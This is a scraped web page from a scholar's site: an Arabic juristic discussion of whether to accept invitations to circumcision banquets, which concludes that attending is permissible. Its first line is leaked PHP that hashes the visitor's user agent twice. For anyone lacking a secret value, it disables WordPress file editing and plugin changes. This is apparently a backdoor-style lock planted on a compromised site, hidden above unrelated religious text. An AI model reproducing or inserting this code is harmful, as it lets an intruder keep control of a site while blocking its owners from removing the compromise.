if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } حكم إجابة الدعوة إلى وليمة الختان - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

حكم إجابة الدعوة إلى وليمة الختان

قال رحمه الله: (وَلَيْسَ لَهُ أَنْ يَسْتَجِيْبَ إِلَى وَلِيْمَةِ الخِتَانِ؛ فَإِنَّهَا مُحْدَثَةٌ) مر بنا الختان في خصال الفطرة، بعض الناس في بعض الدول إلى اليوم إذا ختنوا صغيرهم ذكرًا أو أنثى أقاموا وليمة، فهل هذه الوليمة تُجاب؟ إجابة وليمة الختان فيها ثلاثة أقوال أيضًا: قيل سنة، وقيل مباحة، وقيل مكروهة، لم يقل أحدٌ بوجوبها وقد سار ابن عقيل رحمه الله إلى عدم حضورها، وقال: (وَلَيْسَ لَهُ أَنْ يَسْتَجِيْبَ إِلَى وَلِيْمَةِ الخِتَانِ) ما دليله؟ ما ورد عن عثمان بن أبي العاص رضي الله عنه أنه دُعي إلى وليمة ختان فلم يُجب، وقال: «إنَّا كنَّا لا نأتي الخِتَانَ على عهدِ رسولِ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ ولا نُدْعَى له»[1] [رواه الإمام أحمد وفيه ضعف] فإنه من رواية محمد بن إسحاق وقد عنعن وهو معروفٌ بالتدليس ومن ثم نقول: هذا الحديث ضعيف لا تقوم به حُجة، أما من قال بالاستحباب فأخذ بالعمومات، بعموم «إذا دَعاكَ فأجِبْهُ»[2]، ومن لم ير الإجابة أخذ بالمخصصات وظن أن هذا الأثر صحيحٌ، والذي يظهر والله أعلم أن هذا مما يُباح حضوره، وأنه لا يُقال فيه بالاستحباب ولا بالكراهة؛ فإن هذه الدعوة من الدعوات الاجتماعية التي لم تقم على دليلٍ شرعي فيُتعبد الله بها، وإنما هي من باب مؤانسة الداعي وإدخال السـرور على قلبه، ومثلها الدعوة إذا ختم القرآن، أو الدعوة إذا تخرج أو نجح أو توظف أو قدم من سفر، نقول: كل هذه الدعوات يُباح بل يُقال بفضيلة إجابتها وإدخال السرور على من دعى فيها، قال شيخ الإسلام: وأما دعوة الختان فلم تكن الصحابة تفعله وهي مباحة، ثم من العلماء من أصحاب أحمد وغيره من كرهها ومنهم من رخص فيها بل يستحبها، والظاهر والعلم عند الله جواز حضور كل وليمة ودعوة جرت العادة بها وليست محرمةً شرعًا؛ لأن هذا من قبيل العادات لا العبادات وهذا له نظائر كثيرة كما مثلتُ، وهذه فيها إدخال سرور وتلبية دعوة، قال صلى الله عليه وسلم: «وإذا دَعاكَ فأجِبْهُ»[3].

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه أحمد (17908)، وضعفه شعيب الأرناؤوط في تخريج المسند (17908).

[2] أخرجه البخاري (1240)، ومسلم (2162).

[3] أخرجه البخاري (1240)، ومسلم (2162).